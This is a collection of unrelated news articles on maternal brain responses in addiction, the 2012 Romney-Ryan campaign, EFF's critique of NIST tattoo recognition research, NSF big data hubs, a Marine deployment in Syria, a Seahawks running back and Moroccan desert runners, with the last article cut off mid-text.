-Drugs crush a woman's maternal instinct, new brain scans reveal.  Researchers from Baylor College of Medicine and the University of Iowa warn the finding is particularly concerning in light of America's drug addiction epidemic.  The team of obstetricians analyzed MRI scans of 36 mothers who suffered from substance use disorders.  They also videotaped them interacting with their infants at five months old.  Compared to healthy control groups, these mothers experienced a much weaker emotional response to their babies' smiling faces.  Researchers from Baylor College of Medicine and the University of Iowa found drug-addicted mothers are less maternal - and warn it is concerning in light of America's addiction epidemic  Lead author Dr Sohye Kim, assistant professor of obstetrics and gynecology at Baylor, said all 36 of the mothers found their children less intrinsically rewarding and more stress-provoking than other mothers.  'Unlike many mothers who find engaging with their infants to be a uniquely rewarding and gratifying experience, mothers with addictions, even when they are not actively using substances, may be less able to respond appropriately to their infants' cues,' Dr Kim added.  The mothers in the study recruited from an inpatient treatment facility for substance use disorders.  They underwent functional MRI scanning six months after delivery, while viewing happy and sad face images of their own infant.  Typically, seeing the smiling faces of their own infant is rewarding to mothers.  OPIOIDS ARE WILDLY OVER-PRESCRIBED AFTER C-SECTIONS Opioids are over-prescribed to women after a cesarean section in America, a new report warns. Most new mothers received double the amount of painkillers they need for a c-section - 40 pills rather than 20 - according to a study that looks at prescription rates in six parts of the US. That is a huge overflow, the researchers warn, give that a c-section delivery is the most common inpatient surgical procedure in the United States, with around 1.4 million c-sections performed each year. Crucially, they found women tended to take more pills if they had them, even if their pain levels were not strong. The review is one of the first attempts to collate data from providers and institutions nationwide, to offer a clear national picture. Opioids, most commonly oxycodone, are the standard pain medications prescribed to women following cesarean delivery. But the number of pills that are prescribed varies between providers and institutions, and there is little data regarding how much pain medication patients actually require to manage their pain.  This reward experience is what underlies and promotes the mother-infant attachment, which essentially motivates the mother to continue to care for the infant even when being a mother is extremely exhausting, Dr Kim said.  Previous studies have shown that mothers without addictions illustrate strong activations in the dopamine-associated brain reward regions when seeing their infants' happy faces.  However, researchers discovered that mothers with addictions showed a striking pattern of decreased activation in these same brain regions when viewing happy face images of their own infant.  'Our results are particularly noteworthy in two respects,' Dr Kim explained.  'First, they were specific to cues from the mothers' own infants and not unknown infants.  'Second, they were in response to what could arguably be considered the most rewarding cues from infants – their smiling faces.  'This is powerful because the smiling cue is probably the most rewarding cue one can get from one's own infant, yet the key reward regions appear to be shut down in response to these cues in mothers with addictions.'  The findings suggest a neurobiological reason for drug-addicted mothers finding it difficult to meet all their infants' needs.  'The transition to motherhood is inherently stressful,' Dr Kim said.  'It is the enhanced perceived reward value of infant cues, coupled with the sense of reward and pleasure experienced by the mother, that often help to sustain a mother's attention and responsiveness to her infant during a critical developmental period.  'When the functions of the dopamine- and oxytocin-associated maternal circuitry go awry, as our study has suggested here in the case of substance addictions, mothers may be compromised in their abilities to care for their infants, and the risk for abuse and neglect may rise.'  She added that public health officials need to start prioritizing research into the neurobiological relationship between substance addictions and impaired maternal responses.  Better understanding, she said, may facilitate earlier and more refined interventions to help support mothers with substance addictions and the infants in their care.
-The Daily Rundown's Chuck Todd explains how the Obama campaign will take on the Romney-Ryan ticket.  Romney picking Ryan shakes up the race, but will it last? … Big crowd turns out for Romney-Ryan in Wisconsin… Three questions we have: 1) Is Romney already distancing himself from Ryan’s budget plan?... 2) Which party is more comfortable debating the Ryan budget -- the GOP or Democrats?... 3) And just how will the Medicare debate play out, especially in Florida?... Romney stumps in the Sunshine State today, while Ryan heads to Iowa… And Obama begins three-day bus tour through the Hawkeye State.  *** Shake it up: By selecting Paul Ryan as his running mate on Saturday, Mitt Romney did something that Walter Mondale, Bob Dole, Al Gore, and John McCain did in previous presidential contests: They used their VP pick to try to shake things up. Trailing in the summer, they chose a running mate -- be it Geraldine Ferraro, Jack Kemp, Joe Lieberman, or Sarah Palin -- to change the fundamentals of the race. These picks all worked in the short run, but only once (with Lieberman) did it serve its purpose for the rest of the campaign. (Gore, after all, was able to battle back to where he actually won the popular vote.) So how will this play out for Romney? By picking Ryan, he made the calculation that he needed to pick someone to help redefine himself, first and foremost. The move also serves to fire up conservatives, give the GOP ticket a jolt of youthful energy, and make the case he now stands for something big. But it also wasn’t the kind of VP selection we saw from George W. Bush in 2000 or Barack Obama in 2008 that essentially said: “I’ve got this thing.” Instead, by picking Ryan, Romney said: “I need some help.”  Following the news that Rep. Paul Ryan will serve as Mitt Romney's running mate, senior Romney adviser Kevin Madden and Obama deputy campaign manager Stephanie Cutter assess how it will affect the campaign.  *** Big crowd turns out for the GOP ticket in Wisconsin: And help is what he got last night. Per NBC’s Garrett Haake and Alex Moe, the largest campaign crowd of the season greeted Romney and his new running mate on Sunday in Waukesha, WI. “The energy generated by Ryan seemed to inspire the man at the top of ticket, who took on a heckler midway through his own remarks, then turned the moment into an indictment of President Obama's campaign, whose tactics have riled Romney in recent weeks.” In the first 48 hours after the Ryan pick, Romney looked like he’s enjoying being a candidate again. But after just two days of campaigning together -- during the final days of the Olympics (including yesterday’s USA vs. Spain basketball gold-medal basketball game) -- Romney and Ryan are now going their separate ways, and they possibly might not campaign together until the GOP convention. Romney today stumps in Florida, while Ryan heads to Iowa, where Obama also begins a three-day bus tour.  *** Romney: “I have my budget plan”: Is Romney already distancing himself from Ryan’s budget plan? It seemed that way in yesterday’s Romney-Ryan interview on “60 Minutes.” When CBS’s Bob Schieffer asked Romney if Democrats were going to be able to turn the presidential contest into a referendum on Ryan’s budget plan, the former Massachusetts governor responded, “I have my budget plan as you know that I've put out. And that's the budget plan that we're going to run on.” So wait a second: Romney selects as the running mate a man best known for his budget plan -- under the rationale that this race needs to be about big ideas. But then Romney says he has his own budget plan? On “TODAY” this morning, NBC’s Savannah Guthrie asked Romney spokesman Kevin Madden if Romney would sign the Ryan budget if it came to his desk. Madden replied -- as Romney has said before -- that he would sign it.  The Daily Rundown's Chuck Todd is joined by Obama Campaign Adviser Robert Gibbs to discuss Mitt Romney's new running mate and key issues hitting the campaign trail including Medicare.  *** Which party is more comfortable debating Ryan and his plan? Here’s another question to ponder: By picking Ryan, are Romney and the Republicans playing on their turf? Or on the Democrats’ turf? On the one hand, the Romney-Ryan ticket will double down on the argument that Obama and the Democrats have failed when it comes to the deficit/debt. After all, the deficit was $1.4 trillion in FY ’09; $1.3 trillion in ’10; $1.5 trillion in ’11 (projected); and $1.1 trillion in ’12 (projected). On the other hand, Obama and the Democrats have been DYING to turn the presidential contest into a race against House Republicans. And guess what: Romney just selected a House Republican to be his running mate. As one of us wrote over the weekend, Obama has already delivered three big speeches in the past two years taking aim at House Republicans and the Ryan budget. “It’s a vision that says if our roads crumble and our bridges collapse, we can’t afford to fix them,” Obama said during his April 2011 speech at George Washington University. “If there are bright young Americans who have the drive and the will but not the money to go to college, we can’t afford to send them… It’s a vision that says America can’t afford to keep the promise we’ve made to care for our seniors.” Obama’s other two speeches were in Kansas (in Dec. 2011) and at the AP luncheon (in April 2012).  Shannon Stapleton / Reuters Republican presidential candidate Mitt Romney claps as vice president select Congressman Paul Ryan, R-Wisc., gives the thumbs up to supporters during a campaign event in Waukesha, Wisconsin August 12, 2012.  *** The battle over Medicare: And here’s a third question we have: Just how is the Medicare debate going to play out? One of Romney’s demographic strengths is with seniors, and three of the oldest populations in the country happen to be in these battleground states: Florida, Iowa, and Pennsylvania. But Romney -- already at a disadvantage with other demographic groups like women and Latinos -- can’t have seniors turn into a jump ball in November. So far, Romney and Republicans will counter that Obama’s health-care law is the bigger threat to seniors and Medicare. "There's only one president that I know of in history that robbed Medicare, $716 billion to pay for a new risky program of his own that we call Obamacare," Romney told “60 Minutes” yesterday. "What Paul Ryan and I have talked about is saving Medicare, is providing people greater choice in Medicare, making sure it's there for current seniors. But here is the challenge for the Republicans: Romney and Ryan are talking about FUNDAMENTALLY changing Medicare whereby future seniors will receive vouchers/premium support for LESS than they currently get under Medicare. What Obama did under the health care law was reduce the rate of growth in non-essential services (like Medicare Advantage), as well as increase premiums for higher-income recipients. That doesn't affect the Medicare benefits that current/future seniors receive.  Watch: How Ryan formed his economic plan  *** The battle over Florida: In fact, Romney today campaigns in Florida. And he’s being greeted by headlines like this one from the Miami Herald: “Ryan could be a drag on Romney in Florida.” It is possible for Romney to get to 270 electoral votes without Florida -- but it’s extremely unlikely. If Obama were to win Florida, Romney would need to win CO, IA, NV, NH, NC VA, and WI. In other words, he’d have to run the table. By the way, we can report that according to a Romney-Ryan campaign source, Ryan will make his first visit to Florida next weekend.  *** Today’s back-and-forth: The Romney camp is up with its second TV ad hitting Obama welfare. “Barack Obama has a long history of opposing work for welfare,” the ad goes. “On July 12th, Obama quietly ended work requirements for welfare. You wouldn’t have to work and wouldn’t have to train for a job.” However, as First Read and others have pointed out, it’s a BIG stretch to say that the HHS’s waiver to states ends work requirements for welfare; work requirements are clearly stated in the HHS announcement… Meanwhile, the Obama camp has a web video of Floridians commenting on the Ryan budget plan and its cuts to Medicare.  *** On the trail: President Obama begins a three-day swing through Iowa. Today, he hits Council Bluffs at 10:15 am ET and Boone at 6:15 pm ET… Romney stumps in Florida, visiting St Augustine at 8:20 am and Miami at 5:25 pm… Paul Ryan stops by the Iowa State Fair at 2:00 pm ET, while Joe Biden campaigns in North Carolina… And First Lady Michelle Obama appears on the “Tonight Show.”  Countdown to GOP convention: 14 days  Countdown to Dem convention: 21 days  Countdown to 1st presidential debate: 51 days  Countdown to VP debate: 59 days  Countdown to 2nd presidential debate: 64 days  Countdown to 3rd presidential debate: 70 days  Countdown to Election Day: 85 days  Click here to sign up for First Read emails.  Text FIRST to 622639, to sign up for First Read alerts to your mobile phone.  Check us out on Facebook and also on Twitter. Follow us @chucktodd, @mmurraypolitics, @DomenicoNBC, @brookebrower
-There's an action movie cliché in which a cop inspects the body of a felled assassin or foot soldier and discovers a curious tattoo that ultimately leads to a rogue black-ops squadron, a secret religious sect, or an underground drug trafficking ring.  The trope isn’t entirely Hollywood fantasy, but the reality of emerging tattoo recognition technology is closer to a dystopian tech thriller. Soon, we may see police departments using algorithms to scrape tattoos from surveillance video or cops in the field using mobile apps to analyze tattoos during stops. Depending on the tattoo, such technology could be used to instantly reveal personal information, such as your religious beliefs or political affiliations.  For years, law enforcement has used tattoos to identify criminal suspects as well as unidentified victims. Police have also used tattoos to map out subcultures and networks of gangs and hate groups. Until recently, however, tattoo matching and analysis has involved flipping through the pages of photo binders; any computer-assisted matching has been limited to metadata searches of keywords.  NIST's Official Tattoo Recognition Technology Logo  In 2014 and 2015, federal researchers at the National Institute of Standards and Technology (NIST) joined forces with the FBI to launch a program to accelerate tattoo recognition technology. As part of Tatt-C (the code name for NIST’s "Tattoo Recognition Technology Challenge"), officials assembled a giant dataset of prisoner tattoos and divvied it out to biometric companies, research institutions, and universities. They were asked to run five experiments to show how well their algorithms could match tattoos under various circumstances.  Some tests involved matching different photos of the same person’s tattoo. Other experiments sought to match similar tattoos on different people based on their characteristics—such as a crucifix, Minnie Mouse, and Chinese calligraphy. These tests pose serious concerns for privacy, free expression, religious freedom, and the right of association.  Each one of these experiments correlated to a specific law enforcement use. The Tatt-C results, released last summer, now serve as a crystal ball into what law enforcement has planned for this technology over the years to come.  Here are the five tests and what they tell use about the future of tattoo recognition technology.  Related: Learn why EFF is calling for an end to this research.  Note on the data: The Tatt-C dataset contained 15,000 images obtained by the FBI from prisoners. The dataset was split into subsets and sub-subsets for individual trials. Tatt-C participants self-reported their results, which were not independently verified. The percentages below reflect the accuracy within the experiment, and not necessarily how accurate the technology would perform in the real world.  Tattoo Detection: Why would police want algorithms that can detect whether an image has a tattoo or not?  Any given law enforcement agency may be sitting on an immense, unsorted collection of images. Mugshots, scars, birthmarks, and tattoos—all mixed up together, some unlabeled, some mislabeled. Without computer assistance, it could take significant staff-power to sort through it all. NIST suggests that automated tattoo detection would streamline an agency’s ability to classify images.  Perhaps the more concerning use case for privacy advocates is that tattoo detection technology would also pave the way for algorithms to isolate tattoos from images scraped from the Internet or captured by security cameras.  The bad news is the technology is already highly sophisticated.  Tatt-C’s research team reported back that three different organizations’ algorithms could detect a tattoo in an image with more than 90% accuracy. The private biometric technology company MorphoTrak (a subsidiary of Safran) claimed the best result; their algorithm was able to detect whether an image contained a tattoo or not with 96.3% accuracy.  Tattoo Identification: When we say biometrics, we are talking about unique physical or behavioral characteristics that can be used to identity you. Fingerprinting has been used by criminal justice agencies for over a century to identify suspects; tattoo recognition can be used in much the same way.  Let’s say a cop is questioning someone on the street who refuses to provide an ID card. The officer could run a photo of one of the person’s tattoos through a database to find a photo of the same tattoo captured during a previous arrest. One situation NIST imagines is applying tattoo recognition technology to video surveillance of a robbery in which the suspect is wearing a mask but a neck tattoo is visible.  Just as facial recognition technology raises serious privacy concerns, people should be wary of tattoo recognition technology’s invasiveness. Not only can it identify everyday people caught on camera while going about their business, it could eventually lead to tracking people using their tattoos.  NIST asked Tatt-C participants to match a photo of a tattoo to other pictures of the photo taken over time. Four different companies and research institutions reported that their algorithm could return a hit on the first result with more than 95% accuracy. Again, MorphoTrak came out on top, returning a hit with 99.4% accuracy.  Region of Interest: NIST uses “Region of Interest” to describe how well an algorithm can match a small piece of a tattoo to a wider image of the whole tattoo. For example, could the algorithm recognize that a tiny skull tattoo is part of a larger half-sleeve arm tattoo.  The idea here is that sometimes only a portion of a tattoo is caught on surveillance; is that enough to identify someone if police have the whole tattoo on file? This technology would also help police match a tattoo, even if the person subsequently added more to the design.  Yet again, MorphoTrak provided the most accurate results: the algorithm could return a hit on the first result with 94.6% accuracy. Purdue University, which has developed an app [.pdf] with support from the U.S. Department of Homeland Security, was close behind with 91.6% accuracy.  Mixed Media: When you get a tattoo, the artist rarely inks their first draft on your skin. The artist will draw it out on paper, then turn it into a purple transfer to trace out with the needles. The question for researchers is whether an algorithm can reverse engineer this process; rather than matching tattoos to tattoos, can they match a tattoo to an image in another medium.  If a witness sees a tattoo during a crime, they could describe it for a sketch artist, who could run the sketch through a tattoo database. Or, if an officer wants to see if a tattoo correlates to a gang symbol, the tattoo could be compared to street graffiti.  But this technology sets law enforcement on a dangerous path, since it would allow a police officer to learn more than just your identity, but your interests, political beliefs, or religion. An investigator could plug an image of an Anarchist circle-A or the Republican elephant into its database to return a list of people who have tattoos of those images.  This technology is on the horizon, but at this stage it is still relatively underdeveloped.  The MITRE Corporation—a non-profit organization that manages research centers on behalf of the federal government—produced the most successful results. The algorithm could produce matches within the first 10 results with 36.5% accuracy.  Although that number is fairly low, that may not prevent law enforcement from using it to generate leads. However, less reliable algorithms have greater potential of capturing innocent people in investigations.  Tattoo Similarity: One of the most worrisome applications of tattoo recognition technology is its potential ability to reveal connections or shared beliefs among a population. For example, rather than matching a particular tattoo of a crucifix with an individual, police could run the image of a crucifix through a database to produce a long set of people with similar cross tattoos. This essentially means police would be able to create lists of people based on their religion, politics, or other affiliations as expressed by their tattoos.  This type of tattoo matching could sweep up fans of the same bands or members of the same labor union or military unit. This application has a high likelihood of generating false positives—matching someone whose tattoo may be visually similar, but not actually symbolically similar. That could result in people being improperly associated with groups, such as gangs, with which they have no actual affiliation.  Law enforcement primarily wants to use this technology to identify members of gangs and hate groups, who often use coded symbols to express their affiliation. But that’s not necessarily what NIST researchers focused on during Tatt-C’s “Tattoo Similarity Experiments,” which tested how well algorithms could match different tattoos with similar visual features. Many of the images NIST asked participants to analyze were religious symbols—often Catholic iconography, such as hands holding rosaries and Jesus Christ’s crucifixion.  This should raise bright red flags for those concerned about religious freedom, especially in light of how authoritarian governments have used tattoos to oppress religious minorities. Nazi Germany’s use of tattoos to track Jews during the Holocaust comes to mind. Indeed, the six-pointed Star of David was one of the images used during the NIST experiments. However, in that case, the star also serves as the symbol of the Gangster Disciples, a Chicago street gang. So even when law enforcement is attempting to use tattoos to investigate gangs, people who are simply expressing their religion could be labeled as affiliates of criminal gangs.  The good news is that the technology is still in its early stages. Researchers attributed the drop in accuracy to a problem they called the “semantic gap.” That refers to the difficulty computers have in divining meaning from tattoos that contain relevant symbols, but are not clearly visually similar. MITRE achieved the best results; its algorithm could establish a correct match within the first 10 results with 14.9% accuracy.  What’s Next  Although the NIST and FBI experiments were largely academic research exercises, law enforcement is already deploying the technology. Purdue University, with support from the Department of Homeland Security, has developed a graffiti and tattoo matching app—GARI—that is now in use by law enforcement agencies across the state of Indiana. Meanwhile, companies like MorphoTrak and DataWorks are now offering tattoo recognition as part of biometric software packages that also include fingerprint scanning, iris scanning, DNA analysis and facial recognition. We know that sheriff's departments in California have contracts with these companies.  It’s also clear that the lessons learned from the Tatt-C project are being used to refine future research and tattoo recognition technology. Following the Tatt-C project, NIST released training materials for law enforcement that explained how camera framing and lighting can make tattoos more easily recognizable by algorithms. Researchers further recommended that an even larger dataset—more than 100,000 images—be compiled for distribution to third-party researchers.  This summer, NIST plans to launch its next major series of experiments: Tatt-E, short for the Tattoo Recognition Technology Evaluation. Using tattoo databases from the Michigan State Police, Tennessee Department of Corrections, and the Pinellas County Sheriff’s Office in Florida, NIST intends to run a similar set of tests internally, connecting to each algorithm through an API.  For the sake of civil liberties, privacy, and dignity, we believe that NIST should halt this program immediately. Take action now to call for an end to experimentation with our tattoos.
-News Release 15-138  Establishing a brain trust for data science  Awards for Big Data Regional Innovation Hubs create consortia to catalyze multi-sector partnerships  Storm surge visualization of Hurricane Joaquin. Several BD Hubs will focus on natural hazards.  November 2, 2015  This material is available primarily for archival purposes. Telephone numbers or other contact information may be out of date; please see current contact information at media contacts.  The ability to access, analyze and draw insights from massive amounts of data already drives innovation in areas ranging from medicine to manufacturing, leading to greater efficiency and a higher quality of life.  To accelerate this emerging field, the National Science Foundation (NSF) today announced four awards totaling more than $5 million to establish regional hubs for data science innovation.  The consortia are coordinated by top data scientists at Columbia University (Northeast Hub), Georgia Institute of Technology and the University of North Carolina (South Hub), the University of Illinois at Urbana-Champaign (Midwest Hub) and the University of California, San Diego, the University of California, Berkeley, and the University of Washington (West Hub).  Covering all 50 states, they include commitments from more than 250 organizations--from universities and cities to foundations and Fortune 500 corporations--with the ability to expand further over time.  "This program represents a unique approach to improving the impact of data science by establishing partnerships among likeminded stakeholders," said Jim Kurose, NSF's assistant director for Computer and Information Science and Engineering, which funds the program. "In doing so, it enables teams of data science researchers to come together with domain experts, with cities and municipalities, and with anchor institutions to establish and grow collaborations that will accelerate progress in a wide range of science and education domains with the potential for great societal benefit."  Building upon the National Big Data Research and Development Initiative announced in 2012, the awards are made through the Big Data Regional Innovation Hubs (BD Hubs) program, which creates a new framework for multi-sector collaborations among academia, industry and government.  The "big data brain trust" assembled by the hubs will conceive, plan and support regional big data partnerships and activities to address regional challenges.  Among the benefits of the program are greater ease in initiating partnerships by reducing coordination costs; creating opportunities for sharing ideas, resources, and best practices; and bringing top talent to address important issues.  Issues the BD Hubs have identified as priorities include:  new technologies for big data and data-driven discovery, including in healthcare and local health disparities;  management of natural resources and impacts on habitat planning and hazards;  precision agriculture and the food, energy and water nexus;  education and smart and connected communities;  precision medicine;  energy, materials and manufacturing; and  finance.  The BD Hubs will be sites for transitioning research into practice. They will also educate and train the next-generation workforce in data science.  The projects from this first phase of the program will help establish the governance structure of the BD Hub consortia, support the recruitment of executive directors and administrative staff for each BD Hub and begin developing approaches for inter­BD Hub collaborations.  In addition, the Computing Community Consortium will sponsor a program for the BD Hubs to bring together academic and industry researchers, including those early in their careers, to facilitate long-term partnerships to promote the goals of each BD Hub.  Support for projects at each BD Hub will come from a variety of sources in addition to NSF's investments.  Big Data Spokes  NSF anticipates awarding $10 million in grants for the next phase of the BD Hubs, called the Big Data Spokes (BD Spokes), contingent upon the availability of funds. The BD Spokes program solicitation aims to help initiate research in specific priority areas identified by the BD Hubs.  Each BD Spoke will focus on a specific BD Hub priority area and address one or more of three key issues: improving access to data, automating the data lifecycle and applying data science techniques to solve domain science problems or demonstrate societal impact.  "The BD Spokes aims to advance the goals and regional priorities of each BD Hub, fusing the strengths of the individual institutions and investigators and applying them to problems that affect communities, populations and groups within the region," Kurose said.  (For more information regarding due dates and eligibility requirements, please see the solicitation.)  BD Hubs leadership meeting  The announcement of the BD Hubs awards and BD Spokes solicitation comes days before the first national stakeholders meeting of the BD Hubs, to be held Nov. 3-5 in Arlington, Virginia.  This meeting will allow leaders and researchers representing each BD Hub to discuss governance and sustainability models, coordinate ideas for BD Spokes and identify next steps.  The last day of the meeting, Nov. 5, will include two public webinars.  At the first webinar, BD Hubs representatives will discuss their plans, as well as mechanisms for governance and coordination among BD Hubs stakeholders.  The second webinar will be held in conjunction with the National Data Science Organizer's Workshop. It will discuss the role of BD Hubs in engaging with grassroots data science organizations, such as Meetup groups and non-profits--as well as other data science consortia--as they help the U.S. make the most of the opportunities afforded by big data.  -NSF-  Media Contacts  Aaron Dubrow, NSF, 703-292-4489, email: adubrow@nsf.gov  Program Contacts  Fen Zhao, NSF, 703-292-7344, email: fzhao@nsf.gov  The National Science Foundation (NSF) is an independent federal agency that supports fundamental research and education across all fields of science and engineering. In fiscal year (FY) 2019, its budget is $8.1 billion. NSF funds reach all 50 states through grants to nearly 2,000 colleges, universities and other institutions. Each year, NSF receives more than 50,000 competitive proposals for funding and makes about 12,000 new funding awards.  Get News Updates by Email  Useful NSF Web Sites:  NSF Home Page: https://www.nsf.gov  NSF News: https://www.nsf.gov/news/  For the News Media: https://www.nsf.gov/news/newsroom.jsp  Science and Engineering Statistics: https://www.nsf.gov/statistics/  Awards Searches: https://www.nsf.gov/awardsearch/
-Story highlights US-backed fighters are preparing to move in the coming weeks to assault the city of Raqqa  Raqqa is ISIS' self-declared capital  (CNN) US Marines have arrived in northern Syria with artillery to support US-backed local forces fighting there, two US officials told CNN.  The US-backed fighters are preparing to move in the coming weeks to assault the city of Raqqa, ISIS' self-declared capital, according to the officials. The Pentagon and the Marine Corps have declined to confirm the deployment because of security concerns in the region. They have also declined to specify the exact location of the forces or how many are there.  The Washington Post was the first to report the deployment of the Marines.  Photos: Life inside Raqqa In this photo from November 29, 2015, provided to CNN by the activist group Raqqa is Being Slaughtered Silently, residents assess the damage to a building in the northern Syrian city -- ISIS's headquarters -- which has been the target of French airstrikes in recent weeks. Hide Caption 1 of 8 Photos: Life inside Raqqa In this photo from November 6, 2015, an ISIS fighter walks along a street in Raqqa with his 3 wives walking behind him, according to RBSS. Hide Caption 2 of 8 Photos: Life inside Raqqa A child looks at a stand selling military fatigues in Raqqa on October 1, 2013. Many in Raqqa say they don't want to live under ISIS but have no choice. Hide Caption 3 of 8 Photos: Life inside Raqqa Men look at a large black jihadist flag in Raqqa on September 28, 2013. In Raqqa today, school is banned -- and even small pleasures, like chocolate, are an unaffordable luxury because many cannot work. Hide Caption 4 of 8 Photos: Life inside Raqqa A Syrian man mourns the deaths of six of his siblings, killed in a bomb attack during fighting between rebel fighters and Syrian government forces in Raqqa on August 10, 2013. Hide Caption 5 of 8 Photos: Life inside Raqqa A man carries two children away from the scene of an explosion in Raqqa on August 7, 2013. Hide Caption 6 of 8 Photos: Life inside Raqqa In this undated photo, provided to CNN by RBSS, you can see normal life in Raqqa -- once one of Syria's most liberal cities -- before the start of the civil war. Hide Caption 7 of 8 Photos: Life inside Raqqa The streets of Raqqa before it was under ISIS control, in an undated photo provided to CNN by RBSS. Hide Caption 8 of 8  The deployment does not come as a surprise. Military commanders have discussed for weeks the possibility of putting artillery forces into the area, with the goal of accelerating the capabilities of the US-backed Arab and Kurdish forces there. A similar deployment last year near Mosul, Iraq involved several hundred Marines equipped with artillery guns that fire shells to provide covering fire for advancing forces.  Because Marines were already deployed to the region, the movement into Syria did not have to be specifically approved by President Donald Trump or Defense Secretary James Mattis -- but both the White House and Pentagon were aware of the plan, officials said.  Read More
-While Mike Davis has gained a meager 3.3 yards per attempt on his 58 carries this season, he has flashed the ability to make plays in this offense. During the Seattle Seahawks’ victory over the Dallas Cowboys, Davis gained 25 yards on 15 carries. Even though this number is certainly not impressive, he did this behind some very hit-or-miss blocking by his offensive line. For this breakdown, I want to highlight some of his plays to show you some of the impressive things he did on tape and how he will continue to gain more snaps versus the Arizona Cardinals.  The first run I want to look at happened at the start of the second quarter.  In this play, the Seahawks run two-back inside zone to the right. The fullback in this play is Luke Willson and in my opinion, this is actually a really good position for him. For some reason Tre Madden and the running backs never seemed to execute their assignments properly hre, while Willson is a much better head-on blocker in this offense. As a sift blocker, he sometimes looks lost so I think this is better for him.  Going back to the play, since Seattle motioned Jimmy Graham before the snap from the left side to the right side, you can see that the Dallas Cowboys’ defensive line didn’t adjust. Their linebackers were instructed to shift and fill in the gaps. This created a natural bubble and a great two-on-one for the Seahawks’ lineman between the center and the right guard.  RT Germain Ifedi is able to use his upper body strength to move the defensive end out of position, while the combination block between Justin Britt and Ethan Pocic works well to move the nose tackle backside. This created a huge hole for Davis to run through and allowed him to gain eight yards on the play.  Davis’ sixth and seventh runs were his two best runs of the game in my opinion. They both featured elements of busted blocking by the offensive line in which Davis made an initial move to create more yards than what his offensive line gave him. I truthfully have not been that impressed by Davis’ initial lateral quickness, but I definitely admit that these plays had me reconsider as I was watching this game.  The first run was out of shotgun in which Seattle ran inside zone to the right. The defensive end, (#90) Demarcus Lawrence, pinched hard inside defeating the block by Ifedi. This forced Davis to cut backside. He then found the opening behind Nick Vannett for the 5-yard gain.  The second run was right at the start of the third quarter. The Seahawks run outside zone out of singleback aiming for the weakside of the formation. The nose tackle penetrates hard through the playside A-gap which forced Davis to cut behind him. Davis spins out of his block while the backside blockers did a great job in creating a running lane through the center of the defense. This initial spin move turned this run from a 2-yard loss into another 5-yard gain.  By my tracking, I graded him negatively on two runs. His very next run was one of those plays and it happened at 13:50 left in the third quarter.  The Seahawks run two-back inside zone to the right after motioning Graham from the backside to the frontside of the formation. Davis takes the handoff and bounces this run outside of the right tackle. In my opinion, he should have seen that Ifedi allowed the defender to gain outside leverage which should have told him to cut this play inside. If he did this then he would have seen the monstrous hole in the defense in the B-gap between Duane Brown and Luke Joeckel. However, he cut this play outside missing what could have been a big gain.  Speaking of Joeckel, I was actually really impressed by his run blocking during this game. After a disastrous game versus the Los Angeles Rams, he did a great job with his double teams especially on the outside zone runs to the left. Watch this play at the start of the second quarter where Joeckel and Justin Britt combination blocked (#68) Daniel Ross down the field. This created a huge running lane for Davis to run through and gain six yards.  Earlier in the season, I was pushing hard for the Seahawks to use more misdirection and motion to help set up running lanes. They attempted this on Davis’ fifth run of the game.  Tyler Lockett ran an end around attempting to move the linebackers while upfront the Seahawks ran their backside zone running play. This, like the end around, is meant to entice the linebackers to follow the flow of the offense to the right. However all of this still takes good blocking and Graham was thrown aside for the tackle for a loss.  As a receiver, Davis was mostly used on checkdowns over the middle of the field. He caught four passes for 18 yards on five targets. The one incompletion came on a pass that seemed to be underthrown due to pressure. Beyond that play, Davis was reliable for Russell Wilson and he helped the offense stay on schedule.  Overall, I gave Davis a “B” grade on this game. By my tracking, he had six positive scoring runs, two negative scoring runs, and seven neutral scoring runs. If he didn’t have the one big negative run that I showed above, he easily would have been a “B+” on the day but that bad play lowered his average.  In my opinion, Davis should continue to get the bulk of carriers in this offense. I am not ready to commit to him or any of the other running backs on the roster yet for next year, but I do think his play is intriguing.  Note: On Wednesday, I broke down Justin Coleman’s “pick-six” versus Dak Prescott. Make sure you check that out!  Follow me on Twitter @SamuelRGold and support me on Patreon.
-In a region where most would struggle to survive, a group of Moroccan runners consistently dominates the competition. Since 1997, either Mohamad or his older brother, Lahcen, had won the race, until last year, when Rachid el Morabity, their trainee, beat Mohamad by seven minutes. The Ahansals and Morabity share not only Moroccan descent, but they are all from Zagora, a town of around 35,000 in southern Morocco that lies on the outskirts of the desert. Lahcen is not competing in this year’s race.  Mohamad Ahansal went to live with his grandfather in Zagora when he was 7. School was more than four miles away and he walked or ran every day. He excelled in sports, but in a terrain where scouts and sponsors rarely venture, it is difficult to translate raw talent into opportunity.  “When someone comes out of the desert and there’s nothing there, no trainer, no sports stadium, nothing, it’s not easy,” he said. “They think only the people from Europe will manage it.”  Photo  It was hard for Mohamad and Lahcen to justify their first runs to their family and community. When Mohamad was around 18, he and Lahcen would leave the house with djellabas, traditional Moroccan robes, hiding their shorts.  “We went out of the house a little farther away from the village and then we would change and dig in the sand and hide the djellabas there,” he said. “We’d run and come back so that no one saw, because they thought it wasn’t good to run like that.”  The Marathon des Sables was created by a former concert promoter, Patrick Bauer of France. It requires self-sufficiency in one of the most challenging places on earth at a cost of almost $5,000, including travel and fees. Without sponsorship, neither Ahansal nor Morabity would be training or running the race. Ahansal and Morabity work in one of the largest industries in Zagora — tourism. Morabity said there are younger and faster runners in their hometown who cannot afford to enter competitions. Ahansal works with some of these runners to develop the quickness they need to compete in races of varying topography and distance. He emphasizes that runners’ mileage should gradually increase, as opposed to going straight to ultramarathons.  Last year, Morabity wore a pair of Ahansal’s shoes and his backpack during the race. When Mohamad and Lahcen first started racing, they would receive running shoes from friends, the same shoes that were passed down to the man who would interrupt the Ahansal reign.  Advertisement Continue reading the main story  “You can’t just take everything for yourself,” Ahansal said in German, one of the languages he learned from tourists on his treks to the Atlas Mountains and the Sahara. “Alone, nothing is accomplished.”  Sportsmanship defines these racers. They recognize a “sport spirit” that mixes competitive drive with a humility not typically associated with professional athletes. During the longest day of last year’s race, Mohamad Ahansal started having problems in the 40th mile. He encouraged Morabity to pick up the pace and overtake Jordanian Salameh Al Aqra, who later finished third.  Newsletter Sign Up Continue reading the main story Please verify you're not a robot by clicking the box. Invalid email address. Please re-enter. You must select a newsletter to subscribe to. Sign Up You will receive emails containing news content , updates and promotions from The New York Times. You may opt-out at any time. You agree to receive occasional updates and special offers for The New York Times's products and services. Thank you for subscribing. An error has occurred. Please try again later. View all New York Times newsletters.  “I said to Rachid, ‘Now you must win, because now either I’ll manage it or I won’t,’ ” Ahansal said.  This year Morabity, 30, will be sponsored by Essoulami Rahal Abdelouahed, who owns a Moroccan catering business. Morabity and three other top Moroccan runners make up what is called the Rahal Groupe.  Meryem Khali, 